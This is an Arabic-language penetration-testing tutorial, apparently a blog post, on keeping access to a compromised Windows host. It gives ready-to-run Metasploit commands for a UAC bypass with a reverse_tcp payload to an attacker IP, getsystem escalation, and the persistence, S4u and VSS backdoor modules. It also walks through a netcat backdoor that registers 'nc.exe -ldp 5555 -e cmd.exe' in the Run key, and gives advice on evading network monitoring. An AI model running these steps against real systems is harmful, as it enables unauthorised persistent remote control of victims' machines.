ethical-hacking-9-638

أي عملية اختبار الاختراق تمر عبر المراحل التالية:

  1. الاستطلاع Reconnaissance
  2. البحث عن الثغرات Scanning
  3. الإستغلال Exploitation
  4. تثبيت الاستغلال والمحافظة على الوصول Maintain access
  5. مسح الآثار Covering Tracks

في هذا المقال سوف نتعرف على طرق تثبيت الاستغلال والمحافظة على الوصول والمعروفه بـ Maintaining access . يتم تثبيت الاستغلال الذي حصلنا عليه بعد النجاح بعملية اختبار الاختراق في حالة اردنا ان نعود في وقت اخر الى الهدف والاتصال به مره اخرى .العديد من الأشخاص يعتقدون أن عملية تثبيت الوصول تتم فقط من خلال خلق باب خلفي backdoor ولكن هذا ليس كل شيء من أجل خلق shell مخفية.

عملية تثبيت الاستغلال والمحافظة على الوصول يمكن أن تتم من خلال عدة أمور:

    • خلق مستخدم جديد
    • تفعيل بعض الخدمات مثل  FTP
    • ضبط أو تغير الصلاحيات
    • خلق باب خلفي backdoor

Meterpreter يحوي على payloads تقوم بخلق مستخدمين جدد والعديد من هذه الأمور السابقة يمكن أن تتم بشكل يدوي. لنمضي قليلاً من الوقت للتعرف على أنواع الأبواب الخلفية الموجودة في Metasploit , ومن اهم ما يوجد في Metasploit  ثلاث سكريبتات لتثبيت عملية الوصول:

  • Persistence
  • S4u Persistence
  • VSS Persistence

persistence module


أحد أشهر Meterpreter scripts المستخدمة في عملية تثبيت الوصول بعد عملية الاستغلال هو persistence module . سوف نقوم في جلسة Meterpreter فعالة  بتشغيل persistence مع خيارات التحكم التي نريدها. هذا السكريبت سوف يقوم بتنصيب ملف يقوم بمحاولة الاتصال مع جهاز مختبر الاختراق بعد فترة زمنية يتم تحديها مسبقاً. يجب تشغيل persistence من حساب له أعلى مستوى صلاحيات عالية . للقيام بهذه العملية نبدأ مع جلسة Meterpreter فعالة مع نظام ويندوز لها صلاحيات المدير administrator account ثم القيام بتجاوز UAC – User Account Control ورفع الصلاحيات الى Administrator  , في نظام الويندوز Administrator  له مستوى صلاحيات عالي ولكن يوجد بعض الأمور لا يمكنه القيام بها. حساب الروت root في نظام اللينكس يملك أعلى مستوى صلاحيات والمكافىء له في نظام الويندوز هو “system” .حتى ولو حصلنا على جلسة بعيدة بمستوى صلاحيات administrator فإن UAC سوف تمنعنا من القيام ببعض الأمور مثل الحصول على الهاش الخاص بكلمة السر ولكن لا تقلق  في Meterpreter يوجد UAC bypass module والتي تسمح لنا بتجاوز القيود التي يفرضها UAC والحصول على مستوى صلاحيات system level , يمكن الحصول على أعلى مستوى صلاحيات من خلال استخدام “bypassuac” module ثم كتابة التعليمة التالية :

getsystem

سنقوم بجعل جلسة Meterpreter تعمل بالخلفية باستخدام التعليمة:

background

الان سوف نقوم بكتابة التعليمات التالية:

use exploit/windows/local/bypassuac_injection

set session 1

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.39

set lport 4545

exploit

image1

ملاحظة : يجب استخدم منفذ مختلف عن المنفذ الذي استخدمته في الشيل الأصلية

الان  سنقوم باستخدام التعليمة التالية من أجل الانتقال لمستوى صلاحيات أعلى:

getsystem

image2

الآن أصبح بإمكاننا تشغيل Persistence

التعليمة التالية تستخدم لمعرفة الخيارات المتاحة:

run persistence -h

image3

سوف نستخدم:

(-X): من أجل أن يبدأ العمل بشكل اتوماتيكي عند إقلاع النظام

(i 10-): محاولة الاتصال كل 10 ثواني

(-p 443): المنفذ المستخدم في عملية الاتصال

(r 192.168.1.39-) عنوان IP لنظام الكالي الخاص بنا

run persistence -X -i 10 -p 443 -r 192.168.1.39

image4يمكننا رؤية أماكن تواجد الملفات التي سوف تًخزن في نظام الويندوز أيضا يمكننا  الخروج من Metasploit بشكل كامل (قطع الاتصال مع الهدف) والعودة مرة ثانية وفتح Metasploit مرة جديدة وإعداد handler لاستقبال الاتصال من  ويتم ذلك بكتابة التعليمة msf من أجل فتح Metasploit وكتابة التعليمات التالية:

 

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.1.39

set LPORT 443

exploit

image5يمكننا الوصول إلى النظام الهدف بأي وقت نريد من خلال إعداد handler ليقوم باستقبال الاتصال ولكن يجب أن تنتبه عند استخدام البراميتر ” -i “ لتحديد الفترة الزمنية بين كل محاولة اتصال، إذا كانت هذه القيمة قليلة فهذا يمكن أن يزيد من احتمال اكتشاف محاولة الاتصال إذا تم مراقبة حركة البيانات من قبل مدير الشبكة .

إزالة Persistence:


يمكننا رؤية هذا السكريبت يعمل في نظام ويندوز من خلال كتابة “msconfig” في windows prompt

image6سوف تظهر النافذة التاليه

image7

يمكننا وبشكل يدوي إزالة هذا الملف ومنع هذه التعليمة أو يمكننا تنفيذ الامر :

uninstall persistence script

image8

والنتيجة كالتالي:

image9

 

S4u_persistence – Scheduled Persistence:


image10

S4u_Persistence هو باب خلفي يعمل كمهمة مجدولة scheduled task والذي يمكن أن يضاف إلى عمليات أو أحداث النظام مثل login, logoff or workstation lock

الخيارات المتاحة:

image11

سنقوم باستخدام هذا الباب الخلفي backdoor والذي سوف يعمل عندما يقوم المستخدم بقفل جهازه workstation lock

من خلال استخدام التعليمات التالية في جلسة فعالة

image12

عند الخروج من Metasploit ومن ثم فتحه مرة ثانية يجب أن نقوم بإعداد handler لإستقبال الاتصال العكسي في جهاز الهدف الذي يعمل بنظام الويندوز سنقوم بقفل الجهاز من خلال الضغط على زر الويندوز + L

image13

عملية قفل الجهاز سوف تقوم بتشغيل الاتصال العكسي وسوف نحصل على remote shell , كما ترى فإن هذا النوع من الهجوم قوي جداً ويمكن أن يتم ربطه بأي عملية نظام (مثل تسجيل الدخول أو تسجيل الخروج)

Vss_Persistence:


VSS_Persistence  يقوم بخلق باب خلفي دائم وهذا الاستغلال يحتاج إلى حساب له أعلى مستوى صلاحيات

image14

طريقة الاستغلال سهلة جدا عن طريق تنفذ التعليمات التالية :

image15

 

Netcat Backdoor:


الكالي يحوي على ملفات تنفيذية خاصة بنظام الويندوز والتي يمكننا استخدامها في عمليات اختبار الاختراق وهي موجودة في المسار التالي:

“/usr/shar/windows-binaries”

image16

يمكننا استخدام windows Netcat (nc.exe) كباب خلفي backdoor من خلال رفعه إلى نظام الويندوز وجعله يعمل بشكل اتوماتيكي.

للقيام بهذا العمل نحتاج لجسلة فعالة مع النظام الهدف لها أعلى مستوى صلاحيات

image17

عملية رفع هذا الملف تتم من خلال التعليمة التالية:

upload /usr/share/windows-binaries/nc.exe c:/windows/system32/

image18

إضافة الملف إلى registry تتم من خلال التعليمة:

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v netcat -d “c:\windows\system32\nc.exe -ldp 5555 -e cmd.exe”

يمكننا التأكد من أن هذه العملية تمت بنجاح من خلال التعليمة:

reg queryval -k HKLM\software\microsoft\windows\currentversion\run –v netcat

image19

 

كما يمكننا تشغيل “msconfig” في نظام الويندوز للتأكد من هذه العملية

image20

الآن نحتاج فقط لإعادة تشغيل الجهاز الهدف الذي يعمل بنظام الويندوز ومن ثم تتم عملية الاتصال باستخدام netcat باستخدام التعليمة التالية في نظام الكالي:

nc -nv <Target IP Address> <port>

image21

كما يمكننا الاتصال ببرنامج Netcat باستخدام handler in Metasploit

ملاحظة : (يجب أن تقوم بإعداة تشغيل الويندوز ليتم إعادة تشغيل netcat)

back

use exploit/multi/handler

set payload windows/shell_bind_tcp

set RHOST <Target IP Address>

set LPORT <Port>

exploit

image22